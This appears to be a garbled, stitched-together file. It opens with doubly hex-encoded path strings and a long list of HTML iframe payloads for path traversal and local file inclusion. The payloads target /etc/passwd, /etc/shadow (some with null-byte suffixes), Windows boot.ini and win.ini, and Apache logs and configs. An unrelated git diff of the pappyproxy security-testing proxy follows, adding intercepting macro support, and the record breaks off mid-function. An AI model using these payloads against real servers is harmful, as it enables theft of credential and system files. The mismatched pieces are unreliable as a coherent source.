3265326532663265326532663265326532663265326532663265326532663265326532663265326532663736363137323266373737373737326636633666363737333266363537323732366637323265366336663637
3265326532663265326532663265326532663265326532663265326532663265326532663265326532663735373337323266366336663633363136633266363137303631363336383635326636633666363737333266363537323732366637323566366336663637
32653265326632653265326632653265326632653265326632653265326632653265326632653265326637353733373232663663366636333631366332663631373036313633363836353266366336663637373332663635373237323666373232653663323036663637
326532653266326532653266326532653266326532653266326532653266326532653266326532653266373636313732326636633666363732663631373036313633363836353266363537323732366637323566366336663637
3265326532663265326532663265326532663265326532663265326532663265326532663265326532663736363137323266366336663637326636313730363136333638363533323266363537323732366637323566366336663637
326532653266326532653266326532653266326532653266326532653266326532653266326532653266373636313732326636633666363732663631373036313633363836353266363537323732366637323265366336663637
3265326532663265326532663265326532663265326532663265326532663265326532663265326532663736363137323266366336663637326636313730363136333638363533323266363537323732366637323265366336663637
32653265326632653265326632653265326632653265326632653265326632653265326632653265326637363631373232663663366636373266363537323732366637323566366336663637
32653265326632653265326632653265326632653265326632653265326632653265326632653265326637363631373232663663366636373266363537323732366637323265366336663637
326636353734363332663639366536393734326536343266363137303631363336383635
3266363537343633326636393665363937343265363432663631373036313633363836353332
326636353734363332663638373437343730363432663638373437343730363432653633366636653636
32663635373436333266363137303631363336383635326636313730363136333638363532653633366636653636
3266363537343633326636313730363136333638363532663638373437343730363432653633366636653636
3266363537343633326636313730363136333638363533323266363137303631363336383635333232653633366636653636
32663635373436333266363137303631363336383635333232663638373437343730363432653633366636653636
3266373537333732326636633666363336313663326636313730363136333638363533323266363336663665363632663638373437343730363432653633366636653636
326637353733373232663663366636333631366332663631373036313633363836353266363336663665363632663638373437343730363432653633366636653636
326636663730373432663631373036313633363836353266363336663665363632663638373437343730363432653633366636653636
32663638366636643635326636313730363136333638363532663638373437343730363432653633366636653636
3266363836663664363532663631373036313633363836353266363336663665363632663638373437343730363432653633366636653636
326636353734363332663631373036313633363836353332326637333639373436353733326436313736363136393663363136323663363532663634363536363631373536633734
3266363537343633326636313730363136333638363533323266373636383666373337343733326536343266363436353636363137353663373435663736363836663733373432653639366536333663373536343635
32663635373436333266373036313733373337373634
32663635373436333266373336383631363436663737
3266363537343633326636373732366637353730
3266363537343633326637333635363337353732363937343739326636373732366637353730
32663635373436333266373336353633373537323639373437393266373036313733373337373634
326636353734363332663733363536333735373236393734373932663735373336353732
326636353734363332663733363536333735373236393734373932663635366537363639373236663665
32663635373436333266373336353633373537323639373437393266366336393664363937343733
32663735373337323266366336393632326637333635363337353732363937343739326636643662373537333635373232653634363536363631373536633734
<iframe width="420" height="315" src="/etc/master.passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/master.passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="etc/shadow%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../../../../../../etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../../../../../../etc/passwd%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../../../../../../../../../../../../../../../../etc/shadow%00" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/..\..\..\..\..\..\winnt\win.ini" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../windows/win.ini" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="..//..//..//..//..//boot.ini" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="..\../..\../boot.ini" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="..\../..\../..\../..\../boot.ini" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="\.....\\\.....\\\....." frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="d:\AppServ\MySQL" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="c:\AppServ\MySQL" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="c:WINDOWS/system32/" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/C:\Program Files" frameborder="0" allowfullscreen></iframe>;
<iframe width="420" height="315" src="/D:\Program Files" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/C:/inetpub/ftproot/" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/boot/grub/grub.conf" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/proc/interrupts" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/proc/cpuinfo" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/proc/meminfo" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../apache/logs/error.log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../apache/logs/access.log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../apache/logs/error.log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../apache/logs/access.log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../apache/logs/error.log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../apache/logs/access.log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../etc/httpd/logs/acces_log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../etc/httpd/logs/acces.log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../etc/httpd/logs/error_log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../etc/httpd/logs/error.log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../var/www/logs/access_log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../var/www/logs/access.log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../usr/local/apache/logs/access_ log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../usr/local/apache/logs/access. log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../var/log/apache/access_log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../var/log/apache2/access_log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../var/log/apache/access.log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../var/log/apache2/access.log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../var/log/access_log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../var/log/access.log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../var/www/logs/error_log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../var/www/logs/error.log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../usr/local/apache/logs/error_log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../usr/local/apache/logs/error.l og" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../var/log/apache/error_log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../var/log/apache2/error_log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../var/log/apache/error.log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../var/log/apache2/error.log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../var/log/error_log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="../../../../../../../var/log/error.log" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/etc/init.d/apache" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/etc/init.d/apache2" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/etc/httpd/httpd.conf" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/etc/apache/apache.conf" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/etc/apache/httpd.conf" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/etc/apache2/apache2.conf" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/etc/apache2/httpd.conf" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/usr/local/apache2/conf/httpd.conf" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/usr/local/apache/conf/httpd.conf" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/opt/apache/conf/httpd.conf" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/home/apache/httpd.conf" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/home/apache/conf/httpd.conf" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/etc/apache2/sites-available/default" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/etc/apache2/vhosts.d/default_vhost.include" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/etc/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/etc/shadow" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/etc/group" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/etc/security/group" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/etc/security/passwd" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/etc/security/user" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/etc/security/environ" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/etc/security/limits" frameborder="0" allowfullscreen></iframe>
<iframe width="420" height="315" src="/usr/lib/security/mkuser.default" frameborder="0" allowfullscreen></iframe>

269
pappyproxy/macros.py Normal file
View file

@ -0,0 +1,269 @@
import glob
import imp
import os
import random
import re
from pappyproxy import http
from pappyproxy import templates
from pappyproxy import config
from twisted.internet import defer
from jinja2 import Environment, FileSystemLoader
class Macro(object):
"""
A class representing a macro that can perform a series of requests and add
data to storage.
"""
def __init__(self, filename=''):
self.name = ''
self.short_name = None
self.file_name = '' # name from the file
self.filename = filename or '' # filename we load from
self.source = None
if self.filename:
self.load()
def __repr__(self):
s = self.name
names = []
if hasattr(self.source, 'SHORT_NAME'):
if self.source.SHORT_NAME:
names.append(self.source.SHORT_NAME)
names.append(self.file_name)
s += ' (%s)' % ('/'.join(names))
return "<Macro %s>" % s
def load(self):
if self.filename:
match = re.findall('.*macro_(.*).py$', self.filename)
self.file_name = match[0]
module_name = os.path.basename(os.path.splitext(self.filename)[0])
self.source = imp.load_source('%s'%module_name, self.filename)
if not hasattr(self.source, 'MACRO_NAME'):
raise PappyException('Macro in %s does not define MACRO_NAME' % self.filename)
self.name = self.source.MACRO_NAME
if self.name == '':
raise PappyException('Macro in %s cannot have a blank name' % self.filename)
if hasattr(self.source, 'SHORT_NAME'):
self.short_name = self.source.SHORT_NAME
else:
self.short_name = None
else:
self.source = None
def execute(self, args):
# Execute the macro
if self.source:
self.source.run_macro(args)
class InterceptMacro(object):
"""
A class representing a macro that modifies requests as they pass through the
proxy
"""
def __init__(self, filename=''):
self.name = ''
self.short_name = None
self.intercept_requests = True
self.intercept_responses = True
self.file_name = '' # name from the file
self.filename = filename or '' # filename we load from
self.source = None
if self.filename:
self.load()
def __repr__(self):
s = self.name
names = []
if hasattr(self.source, 'SHORT_NAME'):
if self.source.SHORT_NAME:
names.append(self.source.SHORT_NAME)
names.append(self.file_name)
s += ' (%s)' % ('/'.join(names))
return "<InterceptingMacro %s>" % s
@property
def do_req(self):
if (self.source and hasattr(self.source, 'async_mangle_request') or \
self.source and hasattr(self.source, 'mangle_request')) and \
self.intercept_requests:
return True
return False
@property
def do_rsp(self):
if (self.source and hasattr(self.source, 'async_mangle_response') or \
self.source and hasattr(self.source, 'mangle_response')) and \
self.intercept_responses:
return True
return False
@property
def async_req(self):
if self.source and hasattr(self.source, 'async_mangle_request'):
return True
else:
return False
@property
def async_rsp(self):
if self.source and hasattr(self.source, 'async_mangle_response'):
return True
else:
return False
def load(self):
if self.filename:
match = re.findall('.*int_(.*).py$', self.filename)
if len(match) > 0:
self.file_name = match[0]
else:
self.file_name = self.filename
module_name = os.path.basename(os.path.splitext(self.filename)[0])
self.source = imp.load_source('%s'%module_name, self.filename)
self.name = self.source.MACRO_NAME
if self.name == '':
raise PappyException('Macro in %s cannot have a blank name' % self.filename)
if hasattr(self.source, 'SHORT_NAME'):
self.short_name = self.source.SHORT_NAME
else:
self.short_name = None
if hasattr(self.source, 'mangle_request') and \
hasattr(self.source, 'async_mangle_request'):
raise PappyException('Intercepting macro in %s cannot define both mangle_request and async_mangle_request' % self.filename)
if hasattr(self.source, 'mangle_response') and \
hasattr(self.source, 'async_mangle_response'):
raise PappyException('Intercepting macro in %s cannot define both mangle_response and async_mangle_response' % self.filename)
else:
self.source = None
def init(self, line):
if hasattr(self.source, 'init'):
self.source.init(line)
def mangle_request(self, request):
if hasattr(self.source, 'mangle_request'):
req = self.source.mangle_request(request)
return req
return request
def mangle_response(self, request):
if hasattr(self.source, 'mangle_response'):
rsp = self.source.mangle_response(request)
return rsp
return request.response
@defer.inlineCallbacks
def async_mangle_request(self, request):
if hasattr(self.source, 'async_mangle_request'):
req = yield self.source.async_mangle_request(request)
defer.returnValue(req)
defer.returnValue(request)
@defer.inlineCallbacks
def async_mangle_response(self, request):
if hasattr(self.source, 'async_mangle_response'):
rsp = yield self.source.async_mangle_response(request)
defer.returnValue(rsp)
defer.returnValue(request.response)
def load_macros(loc):
"""
Loads the macros stored in the location and returns a list of Macro objects
"""
macro_files = glob.glob(loc + "/macro_*.py")
macro_objs = []
for f in macro_files:
macro_objs.append(Macro(f))
int_macro_files = glob.glob(loc + "/int_*.py")
int_macro_objs = []
for f in int_macro_files:
int_macro_objs.append(InterceptMacro(f))
return (macro_objs, int_macro_objs)
def req_obj_def(req):
lines = req.full_request.splitlines(True)
esclines = [line.encode('string_escape') for line in lines]
params = []
if req.is_ssl:
params.append('is_ssl=True')
if req.port != 443:
params.append('port=%d'%req.port)
else:
if req.port != 80:
params.append('port=%d'%req.port)
if params:
req_params = ', '+', '.join(params)
else:
req_params = ''
ret = 'Request (('
for line in esclines:
ret += "'%s'\n" % line
ret += ')'
ret += req_params
ret += ')'
return ret
def macro_from_requests(reqs, short_name='', long_name=''):
# Generates a macro that defines request objects for each of the requests
# in reqs
subs = {}
if long_name:
subs['macro_name'] = long_name
else:
random.seed()
subs['macro_name'] = 'Macro %d' % random.randint(1,99999999)
subs['short_name'] = short_name
n = 0
req_lines = []
req_params = []
for req in reqs:
lines = req.full_request.splitlines(True)
esclines = [line.encode('string_escape') for line in lines]
req_lines.append(esclines)
params = []
if req.is_ssl:
params.append('is_ssl=True')
if req.port != 443:
params.append('port=%d'%req.port)
else:
if req.port != 80:
params.append('port=%d'%req.port)
if params:
req_params.append(', '+', '.join(params))
else:
req_params.append('')
subs['req_lines'] = req_lines
subs['req_params'] = req_params
loader = FileSystemLoader(config.PAPPY_DIR+'/templates')
env = Environment(loader=loader)
template = env.get_template('macro.py')
return template.render(zip=zip, **subs)
def gen_imacro(short_name='', long_name=''):
subs = {}
if long_name:
subs['macro_name'] = long_name
else:
random.seed()
subs['macro_name'] = 'Macro %d' % random.randint(1,99999999)
subs['short_name'] = short_name
loader = FileSystemLoader(config.PAPPY_DIR+'/templates')
env = Environment(loader=loader)
template = env.get_template('intmacro.py')
return template.render(**subs)

View file

@ -1,121 +1,78 @@
import copy
import os
import string
import subprocess
import tempfile
import http
import pappyproxy
from pappyproxy import http
from twisted.internet import defer
active_requests = {}
intercept_requests = False
intercept_responses = False
def set_intercept_requests(val):
global intercept_requests
intercept_requests = val
def set_intercept_responses(val):
global intercept_responses
intercept_responses = val
MACRO_NAME = 'Pappy Text Editor Interceptor'
@defer.inlineCallbacks
def mangle_request(request, connection_id):
def async_mangle_request(request):
# This function gets called to mangle/edit requests passed through the proxy
global intercept_requests
orig_req = http.Request(request.full_request)
orig_req.port = request.port
orig_req.is_ssl = request.is_ssl
retreq = orig_req
retreq = request
# Write original request to the temp file
with tempfile.NamedTemporaryFile(delete=False) as tf:
tfName = tf.name
tf.write(request.full_request)
if pappyproxy.context.in_scope(orig_req):
if intercept_requests: # if we want to mangle...
# Write original request to the temp file
with tempfile.NamedTemporaryFile(delete=False) as tf:
tfName = tf.name
tf.write(orig_req.full_request)
# Have the console edit the file
yield pappyproxy.console.edit_file(tfName)
# Have the console edit the file
yield pappyproxy.console.edit_file(tfName)
# Create new mangled request from edited file
with open(tfName, 'r') as f:
text = f.read()
# Create new mangled request from edited file
with open(tfName, 'r') as f:
mangled_req = http.Request(f.read(), update_content_length=True)
mangled_req.is_ssl = orig_req.is_ssl
mangled_req.port = orig_req.port
os.remove(tfName)
os.remove(tfName)
# Check if dropped
if text == '':
pappyproxy.proxy.log('Request dropped!')
defer.returnValue(None)
# Check if dropped
if mangled_req.full_request == '':
pappyproxy.proxy.log('Request dropped!')
defer.returnValue(None)
# Check if it changed
if mangled_req.full_request != orig_req.full_request:
# Set the object's metadata
mangled_req.unmangled = orig_req
retreq = mangled_req
mangled_req = http.Request(text, update_content_length=True)
mangled_req.port = request.port
mangled_req.is_ssl = request.is_ssl
# Add our request to the context
pappyproxy.context.add_request(retreq)
else:
pappyproxy.proxy.log('Out of scope! Request passed along unharmed', id=connection_id)
# Check if it changed
if mangled_req.full_request != request.full_request:
retreq = mangled_req
active_requests[connection_id] = retreq
retreq.submitted = True
defer.returnValue(retreq)
@defer.inlineCallbacks
def mangle_response(response, connection_id):
def async_mangle_response(request):
# This function gets called to mangle/edit respones passed through the proxy
global intercept_responses
#response = string.replace(response, 'cloud', 'butt')
#response = string.replace(response, 'Cloud', 'Butt')
myreq = active_requests[connection_id]
retrsp = request.response
# Write original response to the temp file
with tempfile.NamedTemporaryFile(delete=False) as tf:
tfName = tf.name
tf.write(request.response.full_response)
orig_rsp = http.Response(response.full_response)
retrsp = orig_rsp
# Have the console edit the file
yield pappyproxy.console.edit_file(tfName, front=True)
if pappyproxy.context.in_scope(myreq):
if intercept_responses: # If we want to mangle...
# Write original request to the temp file
with tempfile.NamedTemporaryFile(delete=False) as tf:
tfName = tf.name
tf.write(orig_rsp.full_response)
# Create new mangled response from edited file
with open(tfName, 'r') as f:
text = f.read()
# Have the console edit the file
yield pappyproxy.console.edit_file(tfName, front=True)
# Create new mangled request from edited file
with open(tfName, 'r') as f:
mangled_rsp = http.Response(f.read(), update_content_length=True)
os.remove(tfName)
os.remove(tfName)
# Check if dropped
if text == '':
pappyproxy.proxy.log('Response dropped!')
defer.returnValue(None)
# Check if dropped
if mangled_rsp.full_response == '':
pappyproxy.proxy.log('Response dropped!')
defer.returnValue(None)
mangled_rsp = http.Response(text, update_content_length=True)
if mangled_rsp.full_response != orig_rsp.full_response:
mangled_rsp.unmangled = orig_rsp
retrsp = mangled_rsp
if mangled_rsp.full_response != request.response.full_response:
mangled_rsp.unmangled = request.response
retrsp = mangled_rsp
if not myreq.reqid:
myreq.save()
if myreq.unmangled:
myreq.unmangled.save()
myreq.response = retrsp
else:
pappyproxy.proxy.log('Out of scope! Response passed along unharmed', id=connection_id)
del active_requests[connection_id]
myreq.response = retrsp
pappyproxy.context.filter_recheck()
defer.returnValue(myreq)
defer.returnValue(retrsp)
def connection_lost(connection_id):
del active_requests[connection_id]

View file

@ -3,6 +3,7 @@
import argparse
import cmd2
import crochet
import datetime
import imp
import os
import schema.update
@ -20,6 +21,7 @@ from twisted.enterprise import adbapi
from twisted.internet import reactor, defer
from twisted.internet.threads import deferToThread
from twisted.internet.protocol import ServerFactory
from twisted.internet.error import CannotListenError
crochet.no_setup()
@ -50,6 +52,7 @@ def delete_datafile():
@defer.inlineCallbacks
def main():
settings = parse_args()
load_start = datetime.datetime.now()
if settings['lite']:
conf_settings = config.get_default_config()
@ -82,17 +85,23 @@ def main():
if config.DEBUG_DIR and os.path.exists(config.DEBUG_DIR):
shutil.rmtree(config.DEBUG_DIR)
print 'Removing old debugging output'
factory = ServerFactory()
factory.protocol = proxy.ProxyServer
serv_factory = proxy.ProxyServerFactory(save_all=True)
listen_strs = []
listening = False
for listener in config.LISTENERS:
reactor.listenTCP(listener[0], factory, interface=listener[1])
listener_str = 'port %d' % listener[0]
if listener[1] not in ('127.0.0.1', 'localhost'):
listener_str += ' (bound to %s)' % listener[1]
listen_strs.append(listener_str)
try:
reactor.listenTCP(listener[0], serv_factory, interface=listener[1])
listening = True
listener_str = 'port %d' % listener[0]
if listener[1] not in ('127.0.0.1', 'localhost'):
listener_str += ' (bound to %s)' % listener[1]
listen_strs.append(listener_str)
except CannotListenError as e:
print repr(e)
if listen_strs:
print 'Proxy is listening on %s' % (', '.join(listen_strs))
else:
print 'No listeners opened'
com_factory = ServerFactory()
com_factory.protocol = comm.CommServer
@ -101,15 +110,25 @@ def main():
comm_port = reactor.listenTCP(0, com_factory, interface='127.0.0.1')
comm.set_comm_port(comm_port.getHost().port)
# Load the scope
yield context.load_scope(http.dbpool)
context.reset_to_scope()
# Apologize for slow start times
load_end = datetime.datetime.now()
load_time = (load_end - load_start)
if load_time.total_seconds() > 20:
print 'Startup was slow (%s)! Sorry!' % load_time
print 'Database has {0} requests (~{1:.2f}ms per request)'.format(len(context.active_requests), ((load_time.total_seconds()/len(context.active_requests))*1000))
sys.argv = [sys.argv[0]] # cmd2 tries to parse args
d = deferToThread(console.ProxyCmd().cmdloop)
cons = console.ProxyCmd()
console.set_proxy_server_factory(serv_factory)
d = deferToThread(cons.cmdloop)
d.addCallback(lambda ignored: reactor.stop())
if delete_data_on_quit:
d.addCallback(lambda ignored: delete_datafile())
# Load the scope
yield context.load_scope(http.dbpool)
context.reset_to_scope()
def start():
reactor.callWhenRunning(main)

View file

@ -1,3 +1,4 @@
import copy
import datetime
import gzip
import os
@ -19,7 +20,7 @@ from pappyproxy import mangle
from pappyproxy.util import PappyException
from twisted.enterprise import adbapi
from twisted.internet import reactor, ssl
from twisted.internet.protocol import ClientFactory
from twisted.internet.protocol import ClientFactory, ServerFactory
from twisted.protocols.basic import LineReceiver
from twisted.internet import defer
@ -35,6 +36,16 @@ def get_next_connection_id():
next_connection_id += 1
return ret_id
def add_intercepting_macro(key, macro, int_macro_dict):
if key in int_macro_dict:
raise PappyException('Macro with key %s already exists' % key)
int_macro_dict[key] = macro
def remove_intercepting_macro(key, int_macro_dict):
if not key in int_macro_dict:
raise PappyException('Macro with key %s not loaded' % key)
del int_macro_dict[key]
def log(message, id=None, symbol='*', verbosity_level=1):
if config.DEBUG_TO_FILE and not os.path.exists(config.DEBUG_DIR):
@ -113,34 +124,72 @@ class ProxyClient(LineReceiver):
lines = self.request.full_request.splitlines()
for l in lines:
self.log(l, symbol='>r', verbosity_level=3)
mangled_request = yield mangle.mangle_request(self.request,
self.factory.connection_id)
if mangled_request is None:
self.transport.loseConnection()
return
if context.in_scope(mangled_request):
yield mangled_request.deep_save()
if not self._sent:
self.transport.write(mangled_request.full_request)
self._sent = True
self.data_defer.callback(mangled_request.full_request)
sendreq = self.request
if context.in_scope(sendreq):
if self.factory.save_all:
yield sendreq.async_deep_save()
## Run intercepting macros
# if we don't copy it, when we delete a macro from the console,
# we get a crash. We do a shallow copy to keep the macro
# instances the same.
to_mangle = copy.copy(self.factory.intercepting_macros).iteritems()
for k, macro in to_mangle:
if macro.do_req:
if macro.async_req:
sendreq = yield macro.async_mangle_request(sendreq)
else:
sendreq = macro.mangle_request(sendreq)
if sendreq is None:
self.transport.loseConnection()
self.request = None
self.data_defer.callback(None)
if self.factory.save_all:
yield sendreq.async_deep_save()
defer.returnValue(None)
if sendreq != self.request:
sendreq.unmangled = self.request
if self.factory.save_all:
yield sendreq.async_deep_save()
else:
self.log("Request out of scope, passing along unmangled")
if not self._sent:
self.factory.start_time = datetime.datetime.now()
self.transport.write(sendreq.full_request)
self.request = sendreq
self.request.submitted = True
self._sent = True
self.data_defer.callback(sendreq)
defer.returnValue(None)
def connectionLost(self, reason):
pass
def handle_response_end(self, *args, **kwargs):
self.log("Remote response finished, returning data to original stream")
self.request.response = self._response_obj
self.transport.loseConnection()
assert self._response_obj.full_response
self.factory.return_response(self._response_obj)
self.factory.return_request_pair(self.request)
class ProxyClientFactory(ClientFactory):
def __init__(self, request):
def __init__(self, request, save_all=False):
self.request = request
#self.proxy_server = None
self.intercepting_macros = {}
self.connection_id = -1
self.data_defer = defer.Deferred()
self.start_time = datetime.datetime.now()
self.end_time = None
self.save_all = save_all
def log(self, message, symbol='*', verbosity_level=1):
log(message, id=self.connection_id, symbol=symbol, verbosity_level=verbosity_level)
@ -157,19 +206,66 @@ class ProxyClientFactory(ClientFactory):
self.log("Connection lost with remote server: %s" % reason.getErrorMessage())
@defer.inlineCallbacks
def return_response(self, response):
def return_request_pair(self, request):
